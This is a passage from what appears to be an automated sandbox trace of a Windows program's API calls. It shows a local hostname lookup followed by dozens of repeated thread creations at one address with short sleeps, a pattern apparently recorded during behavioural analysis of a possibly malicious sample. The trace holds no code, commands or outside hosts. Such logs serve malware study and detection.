(dwErrCode=0x3) [0070.557] GetDriveTypeA (lpRootPathName="A:") returned 0x1 [0070.557] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2682c8) returned 1 [0070.557] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2682c8 | out: hHeap=0x230000) returned 1 [0070.557] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268370) returned 1 [0070.557] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268370 | out: hHeap=0x230000) returned 1 [0070.557] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ca8) returned 1 [0070.557] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ca8 | out: hHeap=0x230000) returned 1 [0070.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4075f0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c [0070.559] Sleep (dwMilliseconds=0x3e8) [0071.584] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x406d30, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x300 [0071.585] Sleep (dwMilliseconds=0x3e8) Thread: id = 27 os_tid = 0x824 Thread: id = 28 os_tid = 0x834 Thread: id = 30 os_tid = 0x884 Thread: id = 32 os_tid = 0x8d4 [0070.596] WSAStartup (in: wVersionRequired=0x101, lpWSAData=0x2eefd78 | out: lpWSAData=0x2eefd78) returned 0 [0070.596] gethostbyname (name="") returned 0x268370*(h_name="XDuwTfOno", h_aliases=0x268380*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x268384*=([0]="192.168.0.171")) [0070.756] inet_ntoa (in=0xab00a8c0) returned="192.168.0.171" [0070.756] GetLastError () returned 0x0 [0070.756] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x388) returned 0x26e260 [0070.757] SetLastError (dwErrCode=0x0) [0070.757] GetLastError () returned 0x0 [0070.757] SetLastError (dwErrCode=0x0) [0070.825] GetLastError () returned 0x0 [0070.825] SetLastError (dwErrCode=0x0) [0070.825] GetLastError () returned 0x0 [0070.825] SetLastError (dwErrCode=0x0) [0070.825] GetLastError () returned 0x0 [0070.825] SetLastError (dwErrCode=0x0) [0070.825] GetLastError () returned 0x0 [0070.825] SetLastError (dwErrCode=0x0) [0070.825] GetLastError () returned 0x0 [0070.825] SetLastError (dwErrCode=0x0) [0070.825] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0070.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c [0070.826] Sleep (dwMilliseconds=0x32) [0070.981] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0070.981] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0070.981] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0070.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290 [0070.982] Sleep (dwMilliseconds=0x32) [0071.095] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0071.095] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0071.095] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0071.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0 [0071.096] Sleep (dwMilliseconds=0x32) [0071.188] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0071.188] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0071.188] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0071.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0 [0071.188] Sleep (dwMilliseconds=0x32) [0071.281] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0071.281] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0071.281] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0071.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c0 [0071.282] Sleep (dwMilliseconds=0x32) [0071.367] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0071.367] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0071.367] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0071.367] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d0 [0071.368] Sleep (dwMilliseconds=0x32) [0071.463] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0071.463] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0071.463] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0071.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0 [0071.464] Sleep (dwMilliseconds=0x32) [0071.544] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0071.544] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0071.544] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0071.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0 [0071.544] Sleep (dwMilliseconds=0x32) [0071.627] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0071.627] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0071.627] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0071.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x314 [0071.628] Sleep (dwMilliseconds=0x32) [0071.700] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0071.700] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0071.700] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0071.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x334 [0071.701] Sleep (dwMilliseconds=0x32) [0071.778] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0071.778] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0071.778] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0071.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x354 [0071.779] Sleep (dwMilliseconds=0x32) [0071.860] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0071.860] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0071.860] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0071.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x374 [0071.861] Sleep (dwMilliseconds=0x32) [0071.953] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0071.953] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0071.953] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0071.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x394 [0071.954] Sleep (dwMilliseconds=0x32) [0072.063] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0072.063] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0072.063] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0072.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4 [0072.064] Sleep (dwMilliseconds=0x32) [0072.156] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0072.156] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0072.156] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0072.156] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4 [0072.157] Sleep (dwMilliseconds=0x32) [0072.250] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0072.250] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0072.250] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0072.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f4 [0072.250] Sleep (dwMilliseconds=0x32) [0072.331] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0072.331] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0072.331] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0072.331] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0072.332] Sleep (dwMilliseconds=0x32) [0072.421] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0072.421] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0072.421] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0072.421] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438 [0072.422] Sleep (dwMilliseconds=0x32) [0072.513] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0072.513] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0072.513] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0072.513] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x458 [0072.514] Sleep (dwMilliseconds=0x32) [0072.609] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0072.609] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0072.609] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0072.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x478 [0072.610] Sleep (dwMilliseconds=0x32) [0072.717] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0072.717] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0072.717] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0072.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x48c [0072.718] Sleep (dwMilliseconds=0x32) [0072.811] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0072.811] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0072.811] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0072.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8 [0072.812] Sleep (dwMilliseconds=0x32) [0072.952] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0072.952] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0072.952] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0072.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8 [0072.952] Sleep (dwMilliseconds=0x32) [0073.061] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0073.061] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0073.061] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0073.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8 [0073.061] Sleep (dwMilliseconds=0x32) [0073.155] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0073.155] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0073.155] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0073.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518 [0073.156] Sleep (dwMilliseconds=0x32) [0073.247] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0073.247] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0073.247] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0073.247] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x538 [0073.248] Sleep (dwMilliseconds=0x32) [0073.341] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0073.341] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0073.341] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0073.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558 [0073.341] Sleep (dwMilliseconds=0x32) [0073.434] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0073.434] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0073.434] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0073.434] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x578 [0073.435] Sleep (dwMilliseconds=0x32) [0073.528] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0073.528] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0073.528] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0073.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x598 [0073.529] Sleep (dwMilliseconds=0x32) [0073.622] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0073.622] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0073.622] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0073.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b8 [0073.622] Sleep (dwMilliseconds=0x32) [0073.715] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0073.715] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0073.715] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0073.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8 [0073.716] Sleep (dwMilliseconds=0x32) [0073.809] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0073.809] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0073.809] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0073.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8 [0073.810] Sleep (dwMilliseconds=0x32) [0073.902] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0073.902] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0073.903] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0073.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618 [0073.904] Sleep (dwMilliseconds=0x32) [0073.996] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0073.996] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0073.996] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0073.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638 [0073.997] Sleep (dwMilliseconds=0x32) [0074.105] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0074.105] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0074.105] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0074.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0074.106] Sleep (dwMilliseconds=0x32) [0074.198] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0074.198] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0074.198] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0074.198] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678 [0074.199] Sleep (dwMilliseconds=0x32) [0074.293] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0074.293] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0074.293] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0074.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x698 [0074.294] Sleep (dwMilliseconds=0x32) [0074.385] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0074.385] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0074.386] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0074.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b8 [0074.386] Sleep (dwMilliseconds=0x32) [0074.479] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0074.479] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0074.479] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0074.479] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d8 [0074.480] Sleep (dwMilliseconds=0x32) [0074.573] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0074.573] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0074.573] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0074.573] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8 [0074.574] Sleep (dwMilliseconds=0x32) [0074.666] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0074.666] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0074.666] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0074.666] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718 [0074.669] Sleep (dwMilliseconds=0x32) [0074.760] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0074.760] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0074.760] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0074.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738 [0074.761] Sleep (dwMilliseconds=0x32) [0074.854] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0074.854] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0074.854] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0074.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x758 [0074.855] Sleep (dwMilliseconds=0x32) [0074.919] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0074.919] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0074.919] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0074.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778 [0074.920] Sleep (dwMilliseconds=0x32) [0075.010] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0075.010] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0075.010] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0075.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x798 [0075.011] Sleep (dwMilliseconds=0x32) [0075.103] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0075.103] HeapFree (in: hHeap=0x230000, 